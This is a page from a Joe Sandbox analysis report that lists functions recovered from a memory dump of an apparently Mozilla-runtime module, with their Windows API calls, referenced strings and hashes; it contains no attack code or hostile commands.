API String ID: 2723441310-2186867486
Opcode ID: 8bac9744d7f0d3a3d1533d4ddfe1ed236f10e9952059767c82d9549ef52448c5
Instruction ID: eae2e1f6226125ac340b7105cfcd5723b6d75e3ca1111d2e1ba0ac119f3a92e0
Opcode Fuzzy Hash: 8bac9744d7f0d3a3d1533d4ddfe1ed236f10e9952059767c82d9549ef52448c5
Instruction Fuzzy Hash: 78E08CE2A0201037F6242256AC86DBB761CDBD6134F080139FD0D83B01E94AED1A51F6

Function 6C9105F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df3ca89c054b6bc96ea5e3ce2e0c22f61f86532e577f41a28ebf34ef05a2aac8
Instruction ID: 76196551bfa232ab2cc2ea99325b0d8da9ef49c38649237b04686bad770fcc41
Opcode Fuzzy Hash: df3ca89c054b6bc96ea5e3ce2e0c22f61f86532e577f41a28ebf34ef05a2aac8
Instruction Fuzzy Hash: 9EA17AB0A09709CFDB14CF29C984A99FBF5BF49304F5496AED44A97B00E731A954CF90

Function 6C9614A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9614C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9614E2
GetCurrentThreadId.KERNEL32 ref: 6C961546
InitializeConditionVariable.KERNEL32(?), ref: 6C9615BA
free.MOZGLUE(?), ref: 6C9616B4

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 8be965d75d89b7b163d4f2b8915402d982b04b7eb630401d81dbfb8af1921c5c
Instruction ID: 0322f8571d5f433f8a6406dfa1a8b9a2810a794ce4ba4536d0ddeeb689ecc1a5
Opcode Fuzzy Hash: 8be965d75d89b7b163d4f2b8915402d982b04b7eb630401d81dbfb8af1921c5c
Instruction Fuzzy Hash: 84611076A057009BDB11CF21C880BEEB7B4BF9A308F44991CED8A57B51DB31E958CB91

Function 6C959F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C959FDB
free.MOZGLUE(?,?), ref: 6C959FF0
free.MOZGLUE(?,?), ref: 6C95A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C95A0BE
free.MOZGLUE(?,?), ref: 6C95A0D5
free.MOZGLUE(?,?), ref: 6C95A0EB

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6498a3e50f3cd57587f91ddfd71f1e046c31e07c6fba96254b729d54126b6426
Instruction ID: 61408873221222461c4632cf827db690260b48e24f7e4f27b0c25bc9f3ba1674
Opcode Fuzzy Hash: 6498a3e50f3cd57587f91ddfd71f1e046c31e07c6fba96254b729d54126b6426
Instruction Fuzzy Hash: 8461CF758086019FC711CF18C4805AAB3F5FF98328F548659EC999B706EB32E996CBD1

Function 6C95DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C95DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C95D38A,?), ref: 6C95DC6F
free.MOZGLUE(?,?,?,?,?,6C95D38A,?), ref: 6C95DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C95D38A,?), ref: 6C95DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C95D38A,?), ref: 6C95DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C95D38A,?), ref: 6C95DD4A

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 5161370a28636b855d4d63b3bf7cdebed21c07d57c4caea62e9df785460c9729
Instruction ID: bfe105aec5f0d6c6d93555c890a3a75bd005c3c6e7fbcd0a1215d0a7a8a94b54
Opcode Fuzzy Hash: 5161370a28636b855d4d63b3bf7cdebed21c07d57c4caea62e9df785460c9729
Instruction Fuzzy Hash: 6D419CB6A00605CFCB00CFA9C98099EB7F5FF99314BA54469D945ABB15E731FC10CB90

Function 6C946590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C93FA80: GetCurrentThreadId.KERNEL32 ref: 6C93FA8D
Part of subcall function 6C93FA80: AcquireSRWLockExclusive.KERNEL32(6C98F448), ref: 6C93FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C946727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9467C8

Part of subcall function 6C954290: memcpy.VCRUNTIME140(?,?,6C962003,6C960AD9,?,6C960AD9,00000000,?,6C960AD9,?,00000004,?,6C961A62,?,6C962003,?), ref: 6C9542C4

Strings

data, xrefs: 6C946593

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4636c2770325fc4f48dd06d5011a7370f5c446bbd0353225de5c7d99b52dce3f
Instruction ID: 16fa55ee9a30f019f074cee25540d79ca66e0c8d69fa61f04f84c6cf58e7eddb
Opcode Fuzzy Hash: 4636c2770325fc4f48dd06d5011a7370f5c446bbd0353225de5c7d99b52dce3f
Instruction Fuzzy Hash: 2ED1CFB5A093408FD724CF24C841B9EB7F5AFE5308F10892DE58987B91DB30E959CB52

Function 6C95C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C95C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C95C842

Part of subcall function 6C95CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C97B5EB,00000000), ref: 6C95CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C95C863
std::_Facet_Register.LIBCPMT ref: 6C95C875

Part of subcall function 6C93B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C97B636,?), ref: 6C93B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C95C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95C8BC

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 5d733fe7792834c8acb717459f6741203ed45ee42d6d663d9a2239c961c6fdc7
Instruction ID: 5c74237669961dcfb1a4b0ec4a7e4a71193f172b70aaefa635b79aee3d6b691e
Opcode Fuzzy Hash: 5d733fe7792834c8acb717459f6741203ed45ee42d6d663d9a2239c961c6fdc7
Instruction Fuzzy Hash: F011B675B052099BCB00DFA4CC948AE7B78EF9E354F240929E60697341DB30D918CB91

Function 6C93D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C90EB57,?,?,?,?,?,?,?,?,?), ref: 6C93D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C90EB57,?), ref: 6C93D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C90EB57,?), ref: 6C93D673
free.MOZGLUE(?), ref: 6C93D888

Strings

|Enabled, xrefs: 6C93D81E

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: ba604fae1a3f2b4ff29baa6faf221f0384c405ca1bfbd8b7f32bd62678e81ff2
Instruction ID: f995a04f4d173921007819bcc3d92155d562e7f87bac0aba07576798a0e91277
Opcode Fuzzy Hash: ba604fae1a3f2b4ff29baa6faf221f0384c405ca1bfbd8b7f32bd62678e81ff2
Instruction Fuzzy Hash: A0A148B1A053288FDB01CF68C4A07EEBBF5AF5A318F14845CD899AB741C730E945CBA1

Function 6C93F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C93F480

Part of subcall function 6C90F100: LoadLibraryW.KERNEL32(shell32,?,6C97D020), ref: 6C90F122
Part of subcall function 6C90F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C90F132

CloseHandle.KERNEL32(00000000), ref: 6C93F555

Part of subcall function 6C9114B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C911248,6C911248,?), ref: 6C9114C9
Part of subcall function 6C9114B0: memcpy.VCRUNTIME140(?,6C911248,00000000,?,6C911248,?), ref: 6C9114EF

Part of subcall function 6C90EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C90EEE3

CreateFileW.KERNEL32 ref: 6C93F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C93F523

Strings

\oleacc.dll, xrefs: 6C93F4CB

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 7dd334ddd516597947f1e6da03872648a508e0149f1cb5b0eb1b56e3b3189169
Instruction ID: 2db800dd59360be1f491be9034841f30da0c1de1751a3b11710303fe783799e0
Opcode Fuzzy Hash: 7dd334ddd516597947f1e6da03872648a508e0149f1cb5b0eb1b56e3b3189169
Instruction Fuzzy Hash: 5E41C0306097209FE720DF28C884AABB3F8BF9531CF101A5CF59583650EB30D949CBA2

Function 6C9674A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C967526
__Init_thread_footer.LIBCMT ref: 6C967566
__Init_thread_footer.LIBCMT ref: 6C967597

Strings

kernel32.dll, xrefs: 6C967557
UnmapViewOfFile2, xrefs: 6C967552

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 79ef705bc5aa435c63ac031ffa531cf5389163bd6f229cc0f94b70348d2ccfe4
Instruction ID: 4a8e95dff1ec3f95e00bd4229436f05aae359d2de4ce03260a2cb080c90a0355
Opcode Fuzzy Hash: 79ef705bc5aa435c63ac031ffa531cf5389163bd6f229cc0f94b70348d2ccfe4
Instruction Fuzzy Hash: 8821D331707501ABFF14CFEA8818E59337AEB97B68B242969D40647FC0CB31E8158691

Function 6C96A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98F770,-00000001,?,6C97E330,?,6C92BDF7), ref: 6C96A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C92BDF7), ref: 6C96A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C92BDF7), ref: 6C96A7E4
LeaveCriticalSection.KERNEL32(6C98F770), ref: 6C96A80A

Strings

accelerator.dll, xrefs: 6C96A7BF

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 62b1847197110b9cfb5561d0ecaf3f0df8921fdffaf80f00d2f23ec7d4f1298d
Instruction ID: 02aa6e632498642853421c9f902f7e5d03c8645c9ec76f40b4d5579b679d6c04
Opcode Fuzzy Hash: 62b1847197110b9cfb5561d0ecaf3f0df8921fdffaf80f00d2f23ec7d4f1298d
Instruction Fuzzy Hash: 13018F706053149FAF04CF56D884C11B7F8FB8AB58714846AE80ACBB52DB70E800CBA0

Function 6C90F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C90EE51,?), ref: 6C90F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C90F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C90F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C90F0DC
ole32, xrefs: 6C90F0AD

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: fdcca1bd841e7261f26fba3031f6c24a916efd904880e4a882e2c01a1e9b971e
Instruction ID: 912767dfa20d2ff691b03b98e05f9cfbcbc85ad22afd32e90fc851bd0028be09
Opcode Fuzzy Hash: fdcca1bd841e7261f26fba3031f6c24a916efd904880e4a882e2c01a1e9b971e
Instruction Fuzzy Hash: D2E0207134F305DFBF041A725C0862637BC5B9310D3248D2DE412D3E05EF20D110C666

Function 6C940080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C917204), ref: 6C940088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9400A7
FreeLibrary.KERNEL32(?,6C917204), ref: 6C9400BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9400A1
wintrust.dll, xrefs: 6C940083

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: eb734a790dbd4f5435b7b13f51f958f284d73e408b8b296fe52a2c1685a62ba5
Instruction ID: 1da6a9ee13da76d2cad6015562e679467e6bf88b435961928093724033a369a8
Opcode Fuzzy Hash: eb734a790dbd4f5435b7b13f51f958f284d73e408b8b296fe52a2c1685a62ba5
Instruction Fuzzy Hash: 8AE0757464A3059BDB10AF7598087017AF8A70B349FA4AC55E916C3651D775D004DB61

Function 6C9400D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C917235), ref: 6C9400D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9400F7
FreeLibrary.KERNEL32(?,6C917235), ref: 6C94010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9400F1
wintrust.dll, xrefs: 6C9400D3

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 74b92e991718f9dc96ca8556373a7a6d589ee2a697a8ec44a52c58ad14d4da9b
Instruction ID: 09e2b3f23dba1f5ea4aa131f61e697f93606fa7764a6b1437ffed766320630a0
Opcode Fuzzy Hash: 74b92e991718f9dc96ca8556373a7a6d589ee2a697a8ec44a52c58ad14d4da9b
Instruction Fuzzy Hash: D6E01A7030F305DBEF005F25C9097213AFCA70B20CFB4AC55EA0A93A00D770C020CA60

Function 6C96C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C96C0E9), ref: 6C96C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C96C437
FreeLibrary.KERNEL32(?,6C96C0E9), ref: 6C96C44C

Strings

NtQueryVirtualMemory, xrefs: 6C96C431
ntdll.dll, xrefs: 6C96C413

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 21523014dd9340a14fb78dcf7ab50dfaff3649e86f2bf84f418d568f0cf632d1
Instruction ID: eab7493302be624998216c257b207fbfaa3beda2b6b42e9810dc747aebd6c240
Opcode Fuzzy Hash: 21523014dd9340a14fb78dcf7ab50dfaff3649e86f2bf84f418d568f0cf632d1
Instruction Fuzzy Hash: CAE09A7060B3019BEF00FB7189187117AF8A747208FA45D55EA0793A41DB74D014CA60

Function 6C9675B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C96748B,?), ref: 6C9675B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9675D7
FreeLibrary.KERNEL32(?,6C96748B,?), ref: 6C9675EC

Strings

ntdll.dll, xrefs: 6C9675B3
RtlNtStatusToDosError, xrefs: 6C9675D1

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 6ee3582483ce88c7c694084b2f73fc4c5b6ef44183bafad6fd236b5459c8a687
Instruction ID: 8e3bdd98badbd6c9828620c4572348de21275d52333a6f841604b000fae1e431
Opcode Fuzzy Hash: 6ee3582483ce88c7c694084b2f73fc4c5b6ef44183bafad6fd236b5459c8a687
Instruction Fuzzy Hash: 32E0757160A301ABFF005BA288487027AF8EB47718F746C29E905D3A41DB74C249CF60

Function 6C967600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C967592), ref: 6C967608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C967627
FreeLibrary.KERNEL32(?,6C967592), ref: 6C96763C

Strings

NtUnmapViewOfSection, xrefs: 6C967621
ntdll.dll, xrefs: 6C967603

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e4ca72d66e15f1989c801fdb99062bbe9e0b2284f3967adb0add0adb84c82744
Instruction ID: 0d3b39a34257f33b1d8b59a484813ca5ad49af88d74eed79fafde8ba1e285924
Opcode Fuzzy Hash: e4ca72d66e15f1989c801fdb99062bbe9e0b2284f3967adb0add0adb84c82744
Instruction Fuzzy Hash: 56E09A7060B3019BFF005BA6CC087057AB8E75B75DF24AD19E906D3A41D774C0088F65

Function 6C96BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C96BE49), ref: 6C96BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C96BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C96BE49), ref: 6C96BF38
RtlReAllocateHeap.NTDLL ref: 6C96BF83
RtlFreeHeap.NTDLL ref: 6C96BFA6

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
